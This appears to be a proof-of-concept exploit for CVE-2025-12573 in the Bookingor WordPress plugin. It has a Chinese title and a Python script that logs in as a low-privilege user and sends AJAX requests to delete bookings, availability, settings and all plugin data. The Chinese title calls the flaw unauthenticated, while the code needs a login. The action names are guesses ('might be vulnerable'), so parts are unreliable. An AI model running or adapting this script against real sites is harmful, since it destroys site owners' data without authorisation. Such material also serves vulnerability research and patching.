CVE-2025-12573 Bookingor WordPress插件未授权数据删除漏洞

# CVE-2025-12573 Bookingor Plugin Exploit PoC # Authenticated low-privilege users can delete plugin data via unprotected AJAX actions import requests import sys from urllib.parse import urlencode TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password" def get_wordpress_nonces(session, target_url): """Get necessary nonces from WordPress admin pages""" # This vulnerability doesn't require nonce verification # but we need a valid authenticated session return {} def exploit_bookingor_delete(session, action_name, data_params): """ Exploit unprotected AJAX action to delete bookingor data Parameters: - action_name: The AJAX action endpoint (e.g., 'bookingor_delete_booking') - data_params: Dictionary of parameters to send with the request """ endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" payload = { 'action': action_name, **data_params } headers = { 'Content-Type': 'application/x-www-form-urlencoded', } print(f"[*] Sending request to: {endpoint}") print(f"[*] Action: {action_name}") print(f"[*] Payload: {payload}") response = session.post(endpoint, data=payload, headers=headers) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") return response def main(): session = requests.Session() # Step 1: Authenticate as low-privilege user print("[*] Authenticating as low-privilege user...") login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed!") sys.exit(1) print("[+] Authentication successful!") # Step 2: Exploit the vulnerability - Delete booking data # Common AJAX actions that might be vulnerable: vulnerable_actions = [ 'bookingor_delete_booking', 'bookingor_delete_availability', 'bookingor_delete_settings', 'bookingor_delete_all_data' ] for action in vulnerable_actions: print(f"\n[*] Testing action: {action}") params = {'id': 1} # Target ID to delete exploit_bookingor_delete(session, action, params) if __name__ == "__main__": main()